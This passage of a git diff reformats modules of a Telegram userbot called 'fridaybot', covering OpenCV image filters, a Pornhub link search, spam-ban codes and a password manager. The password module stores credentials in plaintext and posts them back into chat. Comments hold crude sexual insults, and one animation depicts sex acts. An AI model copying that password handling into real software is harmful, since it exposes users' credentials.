open("shivam.png", "wb").write(r.content) - await event.client.send_file(event.chat_id, "shivam.png", reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, "shivam.png", reply_to=event.reply_to_msg_id + ) await event.delete() shutil.rmtree(path) os.remove("shivam.png") diff --git a/fridaybot/modules/imagefun3.py b/fridaybot/modules/imagefun3.py index 08ed757b..6968fe1b 100644 --- a/fridaybot/modules/imagefun3.py +++ b/fridaybot/modules/imagefun3.py @@ -1,23 +1,28 @@ - # originally made by @danish_00 - # Team dc - # For cobra - # Just Copied - # Credits to DC +# originally made by @danish_00 +# Team dc +# For cobra +# Just Copied +# Credits to DC -from PIL import Image +import asyncio +import os +import random +import shutil + +import cv2 import numpy as np -import os, shutil, sys ,cv2, asyncio, scipy, random -from telegraph import upload_file -from telethon.tl.types import MessageMediaPhoto +from PIL import Image + +from fridaybot import CMD_HELP, bot + from ..utils import admin_cmd -from fridaybot import bot , CMD_HELP path = "./dcobra/" if not os.path.isdir(path): os.makedirs(path) -# Originally Created by @danish_00 +# Originally Created by @danish_00 # All Basics opencv just , the .rtoon was little challenging @@ -29,32 +34,39 @@ async def hehe(event): reply = await event.get_reply_message() image = await bot.download_media(reply.media, path) await event.edit("`Processing... takes time`") - img = cv2.VideoCapture(image) - ret, frame = img.read() + img = cv2.VideoCapture(image) + ret, frame = img.read() height, width, channels = frame.shape - samples = np.zeros([height*width, 3], dtype = np.float32) + samples = np.zeros([height * width, 3], dtype=np.float32) count = 0 for x in range(height): for y in range(width): - samples[count] = frame[x][y] - count += 1 - compactness, labels, centers = cv2.kmeans(samples, - 13, - None, - (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 10000, 0.0001), - 5, - cv2.KMEANS_PP_CENTERS) + samples[count] = frame[x][y] + count += 1 + compactness, labels, centers = cv2.kmeans( + samples, + 13, + None, + (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 10000, 0.0001), + 5, + cv2.KMEANS_PP_CENTERS, + ) centers = np.uint8(centers) res = centers[labels.flatten()] nikal = res.reshape((frame.shape)) cv2.imwrite("danish.jpg", nikal) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") + # opencv basics - # opencv basics @bot.on(admin_cmd("ctoon")) async def hehe(event): @@ -62,58 +74,76 @@ async def hehe(event): await event.reply("Reply to any Image.") return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) - ret, frame = img.read() - gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) - gray = cv2.medianBlur(gray, 5) - edges = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9) + img = cv2.VideoCapture(image) + ret, frame = img.read() + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + gray = cv2.medianBlur(gray, 5) + edges = cv2.adaptiveThreshold( + gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9 + ) color = cv2.bilateralFilter(frame, 13, 400, 400) - cartoon = cv2.bitwise_and(color, color, mask=edges) + cartoon = cv2.bitwise_and(color, color, mask=edges) cv2.imwrite("danish.jpg", cartoon) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, caption = "To Know How this works type .howctoon",reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + caption="To Know How this works type .howctoon", + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") - @bot.on(admin_cmd("danger")) async def hehe(event): if not event.reply_to_msg_id: await event.reply("Reply to any Image.") return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) + img = cv2.VideoCapture(image) ret, frame = img.read() - dark = cv2.cvtColor(frame,cv2.COLOR_BGR2RGB) - cobra = cv2.cvtColor(dark ,cv2.COLOR_HSV2BGR) + dark = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + cobra = cv2.cvtColor(dark, cv2.COLOR_HSV2BGR) cv2.imwrite("danish.jpg", cobra) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") + @bot.on(admin_cmd("vintage")) async def hehe(event): if not event.reply_to_msg_id: await event.reply("Reply to any Image.") return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image,cv2.IMREAD_GRAYSCALE) + img = cv2.VideoCapture(image, cv2.IMREAD_GRAYSCALE) ret, frame = img.read() cobra = cv2.applyColorMap(frame, cv2.COLORMAP_PINK) cv2.imwrite("danish.jpg", cobra) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") - + @bot.on(admin_cmd("random")) async def hehe(event): @@ -121,129 +151,152 @@ async def hehe(event): await event.reply("Reply to any Image.") return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image,cv2.IMREAD_GRAYSCALE) + img = cv2.VideoCapture(image, cv2.IMREAD_GRAYSCALE) ret, frame = img.read() - x=(random.randrange(1,12)) + x = random.randrange(1, 12) if x == 1: - style = cv2.applyColorMap(frame, cv2.COLORMAP_BONE) + style = cv2.applyColorMap(frame, cv2.COLORMAP_BONE) if x == 2: - style = cv2.applyColorMap(frame, cv2.COLORMAP_JET) + style = cv2.applyColorMap(frame, cv2.COLORMAP_JET) if x == 3: - style = cv2.applyColorMap(frame, cv2.COLORMAP_WINTER) + style = cv2.applyColorMap(frame, cv2.COLORMAP_WINTER) if x == 4: - style = cv2.applyColorMap(frame, cv2.COLORMAP_RAINBOW) + style = cv2.applyColorMap(frame, cv2.COLORMAP_RAINBOW) if x == 5: - style = cv2.applyColorMap(frame, cv2.COLORMAP_OCEAN) + style = cv2.applyColorMap(frame, cv2.COLORMAP_OCEAN) if x == 6: - style = cv2.applyColorMap(frame, cv2.COLORMAP_SUMMER) + style = cv2.applyColorMap(frame, cv2.COLORMAP_SUMMER) if x == 7: - style = cv2.applyColorMap(frame, cv2.COLORMAP_SPRING) + style = cv2.applyColorMap(frame, cv2.COLORMAP_SPRING) if x == 8: - style = cv2.applyColorMap(frame, cv2.COLORMAP_COOL) + style = cv2.applyColorMap(frame, cv2.COLORMAP_COOL) if x == 9: - style = cv2.applyColorMap(frame, cv2.COLORMAP_HSV) + style = cv2.applyColorMap(frame, cv2.COLORMAP_HSV) if x == 10: - style = cv2.applyColorMap(frame, cv2.COLORMAP_PINK) + style = cv2.applyColorMap(frame, cv2.COLORMAP_PINK) if x == 11: - style = cv2.applyColorMap(frame, cv2.COLORMAP_HOT) + style = cv2.applyColorMap(frame, cv2.COLORMAP_HOT) if x == 12: - style = cv2.applyColorMap(frame, cv2.COLORMAP_AUTUMN) + style = cv2.applyColorMap(frame, cv2.COLORMAP_AUTUMN) cv2.imwrite("danish.jpg", style) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") - - @bot.on(admin_cmd("rmbw")) async def hehe(event): if not event.reply_to_msg_id: - await event.reply("Reply to any Image like this :-.rmbw 01;1.5;9; u can have any value instead") + await event.reply( + "Reply to any Image like this :-.rmbw 01;1.5;9; u can have any value instead" + ) return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - ims=image - os.system(f'wget https://telegra.ph/file/9974f1b3947f5f97f4075.png') - lbcn= '9974f1b3947f5f97f4075.png' - img1 = cv2.VideoCapture(ims) + ims = image + os.system(f"wget https://telegra.ph/file/9974f1b3947f5f97f4075.png") + lbcn = "9974f1b3947f5f97f4075.png" + img1 = cv2.VideoCapture(ims) ret, frame = img1.read() - img2 = cv2.imread(f'{lbcn}') - achha = cv2.imwrite("cobra.jpg",frame) + img2 = cv2.imread(f"{lbcn}") + cv2.imwrite("cobra.jpg", frame) image = Image.open("cobra.jpg") - shi,vam = image.size + shi, vam = image.size img1 = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2RGB) - img1 =cv2.resize(img1,(620,350)) - img2 =cv2.resize(img2,(620,350)) - mix = cv2.addWeighted(src1=img1,alpha=0.8,src2=img2,beta=0.45,gamma=0) + img1 = cv2.resize(img1, (620, 350)) + img2 = cv2.resize(img2, (620, 350)) + mix = cv2.addWeighted(src1=img1, alpha=0.8, src2=img2, beta=0.45, gamma=0) mila = cv2.cvtColor(mix, cv2.COLOR_RGB2BGR) cv2.imwrite("danish.png", mila) shvm = Image.open("danish.png") - img=shvm.resize((int(shi),int(vam))) + img = shvm.resize((int(shi), int(vam))) img.save("danish.png", format="PNG", optimize=True) - await event.client.send_file(event.chat_id, "danish.png", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.png", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.png") os.remove("cobra.jpg") + @bot.on(admin_cmd("howctoon")) async def howitworks(event): if not event.reply_to_msg_id: await event.reply("Reply to any Image.") returnp reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) + img = cv2.VideoCapture(image) ret, frame = img.read() - gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) - gray = cv2.medianBlur(gray, 5) - edges = cv2.adaptiveThreshold(gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9) + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + gray = cv2.medianBlur(gray, 5) + edges = cv2.adaptiveThreshold( + gray, 255, cv2.ADAPTIVE_THRESH_MEAN_C, cv2.THRESH_BINARY, 9, 9 + ) color = cv2.bilateralFilter(frame, 13, 400, 400) - cartoon = cv2.bitwise_and(color, color, mask=edges) - cv2.imwrite("a.jpg", frame) - cv2.imwrite("b.jpg", gray) + cartoon = cv2.bitwise_and(color, color, mask=edges) + cv2.imwrite("a.jpg", frame) + cv2.imwrite("b.jpg", gray) cv2.imwrite("c.jpg", edges) - cv2.imwrite("d.jpg", color) - cv2.imwrite("e.jpg", cartoon) + cv2.imwrite("d.jpg", color) + cv2.imwrite("e.jpg", cartoon) ori = cv2.imread("a.jpg") res = cv2.imread("e.jpg") v_img = cv2.vconcat([ori, res]) h_img = cv2.hconcat([ori, res]) - cv2.imwrite('H.jpg', h_img) - cv2.imwrite('V.jpg', v_img) + cv2.imwrite("H.jpg", h_img) + cv2.imwrite("V.jpg", v_img) await event.delete() - da = await bot.send_file(event.chat.id, "a.jpg", caption = "Original Pic") + da = await bot.send_file(event.chat.id, "a.jpg", caption="Original Pic") await asyncio.sleep(3) - ni = await bot.edit_message(event.chat.id, da, file = "b.jpg" ) - hm = await bot.edit_message(event.chat.id, ni,"Stage 1 - Collecting The Gray form.") + ni = await bot.edit_message(event.chat.id, da, file="b.jpg") + hm = await bot.edit_message( + event.chat.id, ni, "Stage 1 - Collecting The Gray form." + ) await asyncio.sleep(3.5) - sh = await bot.edit_message(event.chat.id, hm, file = "c.jpg") - lo = await bot.edit_message(event.chat.id, sh, "Stage 2 - Collecting The Threshold Edges .") + sh = await bot.edit_message(event.chat.id, hm, file="c.jpg") + lo = await bot.edit_message( + event.chat.id, sh, "Stage 2 - Collecting The Threshold Edges ." + ) await asyncio.sleep(3.5) - co = await bot.edit_message(event.chat.id, lo, file = "d.jpg") + co = await bot.edit_message(event.chat.id, lo, file="d.jpg") he = await bot.edit_message(event.chat.id, co, "Stage 3 - Collecting Smooth Color.") await asyncio.sleep(3.5) - bro = await bot.edit_message(event.chat.id, he, file = "e.jpg") - danish = await bot.edit_message(event.chat.id, co, "Output - Merged All Stages.") + bro = await bot.edit_message(event.chat.id, he, file="e.jpg") + await bot.edit_message(event.chat.id, co, "Output - Merged All Stages.") await asyncio.sleep(3.5) - x=(random.randrange(1,2)) + x = random.randrange(1, 2) if x == 1: - await bot.send_file(event.chat.id, file = "V.jpg", caption = - """ㅤ Check Difference + await bot.send_file( + event.chat.id, + file="V.jpg", + caption="""ㅤ Check Difference Done By VirtualUserbot - < \n 👖 /|", - " 😍 ☺️ \n/👕\ /👗\ \n 👖 /|", - " 😍 😍 \n/👕\ /👗\ \n 👖 /|", - " 😘 😊 \n /👕\/👗\ \n 👖 /|", - " 😳 😁 \n /|\ /👙\ \n / / |", - "😈 /😰\ \n<|\ 👙 \n /🍆 / |", - "😅 \n/(),✊😮 \n /\ _/\\/|", - "😎 \n/\\_,__😫 \n // // \\", - "😖 \n/\\_,💦_😋 \n // // \\", - " 😭 ☺️ \n /|\ /(👶)\ \n /!\ / \ ", - "Abee aur kitna dekhoge be besharmi ki bhi hadd hoti hai..,The End 😂..." - ] + "1 ❤️ love story", + " 😐 😕 \n/👕\ <👗\ \n 👖 /|", + " 😉 😳 \n/👕\ /👗\ \n 👖 /|", + " 😚 😒 \n/👕\ <👗> \n 👖 /|", + " 😍 ☺️ \n/👕\ /👗\ \n 👖 /|", + " 😍 😍 \n/👕\ /👗\ \n 👖 /|", + " 😘 😊 \n /👕\/👗\ \n 👖 /|", + " 😳 😁 \n /|\ /👙\ \n / / |", + "😈 /😰\ \n<|\ 👙 \n /🍆 / |", + "😅 \n/(),✊😮 \n /\ _/\\/|", + "😎 \n/\\_,__😫 \n // // \\", + "😖 \n/\\_,💦_😋 \n // // \\", + " 😭 ☺️ \n /|\ /(👶)\ \n /!\ / \ ", + "Abee aur kitna dekhoge be besharmi ki bhi hadd hoti hai..,The End 😂...", + ] for i in animation_ttl: diff --git a/fridaybot/modules/lydiaai2.py b/fridaybot/modules/lydiaai2.py index bf63f2b7..14a9f87c 100644 --- a/fridaybot/modules/lydiaai2.py +++ b/fridaybot/modules/lydiaai2.py @@ -6,22 +6,23 @@ from coffeehouse.api import API from coffeehouse.lydia import LydiaAI -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP from fridaybot.modules.sql_helper.lydia_ai_sql import add_s, get_all_s, get_s, remove_s + +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + if Var.LYDIA_API_KEY: api_key = Var.LYDIA_API_KEY coffeehouse_api = API(api_key) lydia = LydiaAI(coffeehouse_api) - @bot.on(admin_cmd(pattern="(en|re|li)ai$", outgoing=True)) @bot.on(sudo_cmd(pattern="(en|re|li)ai$", allow_sudo=True)) async def lydia_disable_enable(event): if event.fwd_from: return - + catevent = await edit_or_reply(event, "`.....`") input_str = event.pattern_match.group(1) if event.reply_to_msg_id is not None: @@ -100,7 +101,7 @@ async def lydia_disable_enable(event): async def on_new_message(event): if event.chat_id in Config.UB_BLACK_LIST_CHAT: return - + reply = await event.get_reply_message() if reply is not None and reply.sender_id != bot.uid: return diff --git a/fridaybot/modules/memevoice.py b/fridaybot/modules/memevoice.py index 32b79b09..5a4d5fc2 100644 --- a/fridaybot/modules/memevoice.py +++ b/fridaybot/modules/memevoice.py @@ -1,50 +1,37 @@ -#Credits to @spechide and his team for @TROLLVOICEBOT -#made by @kraken_the_badass from the snippets of waifu AKA stickerizerbot.... -#kang karega kya madarchod? -#aukaat h bsdk teri...jake baap ka loda chus ke aa.... +# Credits to @spechide and his team for @TROLLVOICEBOT +# made by @kraken_the_badass from the snippets of waifu AKA stickerizerbot.... +# kang karega kya madarchod? +# aukaat h bsdk teri...jake baap ka loda chus ke aa.... import re -import random + from fridaybot import bot -from ..utils import admin_cmd +from ..utils import admin_cmd IF_EMOJI = re.compile( - "[" - "\U0001F1E0-\U0001F1FF" # flags (iOS) - "\U0001F300-\U0001F5FF" # symbols & pictographs - "\U0001F600-\U0001F64F" # emoticons - "\U0001F680-\U0001F6FF" # transport & map symbols - "\U0001F700-\U0001F77F" # alchemical symbols - "\U0001F780-\U0001F7FF" # Geometric Shapes Extended - "\U0001F800-\U0001F8FF" # Supplemental Arrows-C - "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs - "\U0001FA00-\U0001FA6F" # Chess Symbols - "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A - - "\U00002702-\U000027B0" # Dingbats - - "]+") + "\U00002702-\U000027B0" # Dingbats + "]+" +) def deEmojify(inputString: str) -> str: """Remove emojis and other non-safe characters from string""" - return re.sub(IF_EMOJI, '', inputString) - + return re.sub(IF_EMOJI, "", inputString) @borg.on(admin_cmd(pattern="mev(?: |$)(.*)")) @@ -52,21 +39,20 @@ async def nope(kraken): hell = kraken.pattern_match.group(1) if not hell: if kraken.is_reply: - what = (await kraken.get_reply_message()).message + (await kraken.get_reply_message()).message else: - await kraken.edit("`Sir please give some query to search and download it for you..!`") + await kraken.edit( + "`Sir please give some query to search and download it for you..!`" + ) return - troll = await bot.inline_query( - - "TrollVoiceBot", f"{(deEmojify(hell))}") - - await troll[0].click(kraken.chat_id, - - reply_to=kraken.reply_to_msg_id, - - silent=True if kraken.is_reply else False, + troll = await bot.inline_query("TrollVoiceBot", f"{(deEmojify(hell))}") - hide_via=True) + await troll[0].click( + kraken.chat_id, + reply_to=kraken.reply_to_msg_id, + silent=True if kraken.is_reply else False, + hide_via=True, + ) await kraken.delete() diff --git a/fridaybot/modules/mtn.py b/fridaybot/modules/mtn.py index 5b6f34a7..60994b97 100644 --- a/fridaybot/modules/mtn.py +++ b/fridaybot/modules/mtn.py @@ -89,7 +89,6 @@ async def _(event): await event.edit(animation_chars[i % 19]) - CMD_HELP.update( { "mtn": "**MTN**\ diff --git a/fridaybot/modules/no_spam_plus_devs.py b/fridaybot/modules/no_spam_plus_devs.py index 0b0a8438..bb514887 100644 --- a/fridaybot/modules/no_spam_plus_devs.py +++ b/fridaybot/modules/no_spam_plus_devs.py @@ -4,17 +4,17 @@ from fridaybot.utils import admin_cmd json_codes = { - 'nsX01': 'Pornography - High Risk', - 'nsX02': 'Spammer - High Risk', - 'nsX03': 'Spam Adding Users - High Risk', - 'nsX04': 'Raid Participants - High Risk', - 'nsX05': 'Licence violation - Low Risk', - 'nsX06': 'Spam Bot - High Risk', - 'nsX07': 'Flood - High Risk', - 'nsX08': 'Malware - High Risk', - 'nsX09': 'PM Spam - High Risk', - 'nsX10': 'Power Misuser - Medium Risk', - 'nsX11': 'Multiple Risks - Extreme Risk' + "nsX01": "Pornography - High Risk", + "nsX02": "Spammer - High Risk", + "nsX03": "Spam Adding Users - High Risk", + "nsX04": "Raid Participants - High Risk", + "nsX05": "Licence violation - Low Risk", + "nsX06": "Spam Bot - High Risk", + "nsX07": "Flood - High Risk", + "nsX08": "Malware - High Risk", + "nsX09": "PM Spam - High Risk", + "nsX10": "Power Misuser - Medium Risk", + "nsX11": "Multiple Risks - Extreme Risk", } @@ -42,14 +42,16 @@ async def oki(event): if len(args) == 2: extra = args[1] if not json_codes.get(extra): - await event.edit('`Please Use Valid Ban Codes.`') + await event.edit("`Please Use Valid Ban Codes.`") return if not user: await event.edit("Reply To User Or Mention a User.") return try: sclient.ban(user, extra) - await borg.send_message("nospamplusfed", f"/fban {user} {extra} {json_codes[extra]}") + await borg.send_message( + "nospamplusfed", f"/fban {user} {extra} {json_codes[extra]}" + ) await event.edit( f"**User :** `{user}` \n**Reason :** `{extra} {json_codes[extra]}` \n**Banned Sucessfully !**" ) @@ -79,18 +81,19 @@ async def oka(event): await event.edit("Reply To User Or Mention a User.") return try: - gensys2 = sclient.unban(user) + sclient.unban(user) await borg.send_message("nospamplusfed", f"/unfban {user}") await event.edit(f"**User :** `{user}` \n**UnBanned Sucessfully !**") except Exception as e: await event.edit("**Errors : **" + str(e)) + @borg.on(admin_cmd(pattern="generatetoken")) async def tokens(event): await event.edit("`Processing...`") okbabe = secrets.token_urlsafe(16) try: - skynet = sclient.new_token(okbabe) + sclient.new_token(okbabe) await event.edit(f"**New Token** \n**Token** : `{okbabe}`") except Exception as e: await event.edit("**Errors : **" + str(e)) diff --git a/fridaybot/modules/nsfw.py b/fridaybot/modules/nsfw.py index 98cd2b90..4d7dbf55 100644 --- a/fridaybot/modules/nsfw.py +++ b/fridaybot/modules/nsfw.py @@ -13,13 +13,12 @@ import os import requests -from telethon.tl.types import MessageMediaPhoto - -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd, admin_cmd from pornhub_api import PornhubApi +from telethon.tl.types import MessageMediaPhoto from uniborg.util import friday_on_cmd +from fridaybot import CMD_HELP +from fridaybot.utils import admin_cmd, friday_on_cmd, sudo_cmd @friday.on(friday_on_cmd(pattern=r"nsfw")) @@ -58,24 +57,28 @@ async def _(event): return input_str = event.pattern_match.group(1) api = PornhubApi() - data = api.search.search( - input_str, - ordering="mostviewed" - ) + data = api.search.search(input_str, ordering="mostviewed") ok = 1 oik = "" for vid in data.videos: - if ok<=5: - oik +=(f""" + if ok <= 5: + oik += f""" Video title:- {vid.title} Video link:- https://www.pornhub.com/view_video.php?viewkey={vid.video_id} - """) - ok = ok+1 - else: - pass - - oiko = "Links Generated Successfully"+"\n"+"Search Query:- "+input_str+"\n"+oik - + """ + ok = ok + 1 + else: + pass + + oiko = ( + "Links Generated Successfully" + + "\n" + + "Search Query:- " + + input_str + + "\n" + + oik + ) + await borg.send_message( event.chat_id, oiko, @@ -84,8 +87,6 @@ async def _(event): await event.delete() - - CMD_HELP.update( { "nsfw": "**NSFW**\ diff --git a/fridaybot/modules/nsfwdetect.py b/fridaybot/modules/nsfwdetect.py index 371cb844..530d1883 100644 --- a/fridaybot/modules/nsfwdetect.py +++ b/fridaybot/modules/nsfwdetect.py @@ -5,9 +5,10 @@ import requests -from ..utils import admin_cmd, sudo_cmd from fridaybot import CMD_HELP +from ..utils import admin_cmd, sudo_cmd + @bot.on(admin_cmd(pattern="detect$", outgoing=True)) @bot.on(sudo_cmd(pattern="detect$", allow_sudo=True)) diff --git a/fridaybot/modules/oldgdrive.py b/fridaybot/modules/oldgdrive.py index 996ffb62..fa659a26 100644 --- a/fridaybot/modules/oldgdrive.py +++ b/fridaybot/modules/oldgdrive.py @@ -88,7 +88,7 @@ async def _(event): http = authorize(G_DRIVE_TOKEN_FILE, storage) f = open(G_DRIVE_TOKEN_FILE, "r") token_file_data = f.read() - event.edit('`Please check Log Group`') + event.edit("`Please check Log Group`") await event.client.send_message( int(Var.PRIVATE_GROUP_ID), "Please add Var AUTH_TOKEN_DATA with the following as the value:\n\n`" diff --git a/fridaybot/modules/password_manager.py b/fridaybot/modules/password_manager.py index 3afc3b46..cfe9f61b 100644 --- a/fridaybot/modules/password_manager.py +++ b/fridaybot/modules/password_manager.py @@ -1,42 +1,34 @@ import os.path -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from asyncio import wait -from telethon import events -import zipfile - +from fridaybot import CMD_HELP +from fridaybot.utils import friday_on_cmd, sudo_cmd sedpath = "./chsaiujwal/" if not os.path.isdir(sedpath): os.makedirs(sedpath) - @friday.on(friday_on_cmd("savepass ?(.*)")) @friday.on(sudo_cmd("savepass ?(.*)", allow_sudo=True)) async def _(event): if event.fwd_from: return - file_name = "buffer.zip" input_str = event.pattern_match.group(1) ujwal = input_str.split(":") - usermail = (ujwal[0]) - passwd = (ujwal[1]) - webo = (ujwal[2]) + usermail = ujwal[0] + passwd = ujwal[1] + webo = ujwal[2] if os.path.exists("./chsaiujwal/info.pablo"): - file = open("./chsaiujwal/info.pablo", 'a') + file = open("./chsaiujwal/info.pablo", "a") else: - file = open("./chsaiujwal/info.pablo", 'x') + file = open("./chsaiujwal/info.pablo", "x") file.close() - file = open("./chsaiujwal/info.pablo", 'a') - - + file = open("./chsaiujwal/info.pablo", "a") + userName = usermail password = passwd website = webo - usrnm = "UserName: " + userName + "\n" pwd = "Password: " + password + "\n" web = "Website: " + website + "\n" @@ -49,20 +41,22 @@ async def _(event): file.write("\n") file.close await event.edit( - f"Password Saved Successfully", parse_mode="HTML",) - + f"Password Saved Successfully", + parse_mode="HTML", + ) @friday.on(friday_on_cmd(pattern=r"viewpass")) async def hi(event): if event.fwd_from: return - file = open('./chsaiujwal/info.pablo', 'r') + file = open("./chsaiujwal/info.pablo", "r") content = file.read() file.close() await event.edit( - f"Here are your Saved Passwords\n{content}", parse_mode="HTML",) - + f"Here are your Saved Passwords\n{content}", + parse_mode="HTML", + ) CMD_HELP.update( diff --git a/fridaybot/modules/ping.py b/fridaybot/modules/ping.py index 00a6b690..31d58a3a 100644 --- a/fridaybot/modules/ping.py +++ b/fridaybot/modules/ping.py @@ -1,11 +1,11 @@ import time from datetime import datetime -from fridaybot import CMD_HELP, Lastupdate -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from fridaybot import lang +from fridaybot import CMD_HELP, Lastupdate, lang +from fridaybot.utils import edit_or_reply, friday_on_cmd if lang == "si": + def get_readable_time(seconds: int) -> str: count = 0 ping_time = "" @@ -33,7 +33,6 @@ def get_readable_time(seconds: int) -> str: return ping_time - @friday.on(friday_on_cmd(pattern="ping$")) async def _(event): starkislub = await edit_or_reply(event, "`Pong !`") @@ -46,8 +45,10 @@ async def _(event): await starkislub.edit( f"**🙈වැඩ වැඩ මහත්තයෝ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" ) + + else: - + def get_readable_time(seconds: int) -> str: count = 0 ping_time = "" @@ -75,7 +76,6 @@ def get_readable_time(seconds: int) -> str: return ping_time - @friday.on(friday_on_cmd(pattern="ping$")) async def _(event): starkislub = await edit_or_reply(event, "`Pong !`") @@ -87,7 +87,8 @@ async def _(event): uptime = get_readable_time((time.time() - Lastupdate)) await starkislub.edit( f"**🙈I'm Online, Master ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" - ) + ) + CMD_HELP.update( { diff --git a/fridaybot/modules/pmpermit.py b/fridaybot/modules/pmpermit.py index a371c261..3a0d2c6c 100644 --- a/fridaybot/modules/pmpermit.py +++ b/fridaybot/modules/pmpermit.py @@ -5,11 +5,12 @@ from telethon import events, functions from telethon.tl.functions.users import GetFullUserRequest -from .sql_helper import pmpermit_sql as pmpermit_sql from fridaybot import ALIVE_NAME, CUSTOM_PMPERMIT, lang from fridaybot.Configs import Config from fridaybot.utils import friday_on_cmd +from .sql_helper import pmpermit_sql as pmpermit_sql + PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: WARN_PIC = "https://telegra.ph/file/4e1364fb18f899ad47dec.png" @@ -28,8 +29,10 @@ str(CUSTOM_PMPERMIT) if CUSTOM_PMPERMIT else f"Protection By {DEFAULTUSER} ❤️" ) -if lang == "si": - USER_BOT_WARN_ZERO = "ඔයා මගේ මාස්ටර් ගෙ Inbox එකට Spam ගහන්න හදපු නිසා මම ඔයාව Block කරා" +if lang == "si": + USER_BOT_WARN_ZERO = ( + "ඔයා මගේ මාස්ටර් ගෙ Inbox එකට Spam ගහන්න හදපු නිසා මම ඔයාව Block කරා" + ) else: USER_BOT_WARN_ZERO = "You Tried to Spam on my Master's Inbox.. So I Blocked you." @@ -74,9 +77,7 @@ async def approve_p_m(event): if event.is_private: if pmpermit_sql.is_approved(chat.id): pmpermit_sql.disapprove(chat.id) - await event.edit( - "Blocked [{}](tg://user?id={})".format(firstname, chat.id) - ) + await event.edit("Blocked [{}](tg://user?id={})".format(firstname, chat.id)) await event.client(functions.contacts.BlockRequest(chat.id)) @borg.on(friday_on_cmd(pattern="(da|disapprove)")) diff --git a/fridaybot/modules/porn.py b/fridaybot/modules/porn.py index d8530507..ecd285a7 100644 --- a/fridaybot/modules/porn.py +++ b/fridaybot/modules/porn.py @@ -1,22 +1,19 @@ -# unban pornsites here +# unban pornsites here # # lol jee lo apni zindagi # # HeHe created by @danish_00 # -#😂😂😂 +# 😂😂😂 -from telethon import events import asyncio from ..utils import admin_cmd - @borg.on(admin_cmd(pattern="porn")) - -async def _(event):# @danish_00 original +async def _(event): # @danish_00 original if event.fwd_from: @@ -28,25 +25,16 @@ async def _(event):# @danish_00 original await event.edit("`Connecting...`") - animation_chars = [# @danish_00 original - - "P_", - - "PO_", - - "POR_", - - "PORN_", - - "PORNH_", - - "PORNHU_", - - "PORNHUB_", - - "[PORNHUB](www.porn93.cc)👄👅💦💦"# @danish_00 original - - ] + animation_chars = [ # @danish_00 original + "P_", + "PO_", + "POR_", + "PORN_", + "PORNH_", + "PORNHU_", + "PORNHUB_", + "[PORNHUB](www.porn93.cc)👄👅💦💦", # @danish_00 original + ] for i in animation_ttl: @@ -56,10 +44,9 @@ async def 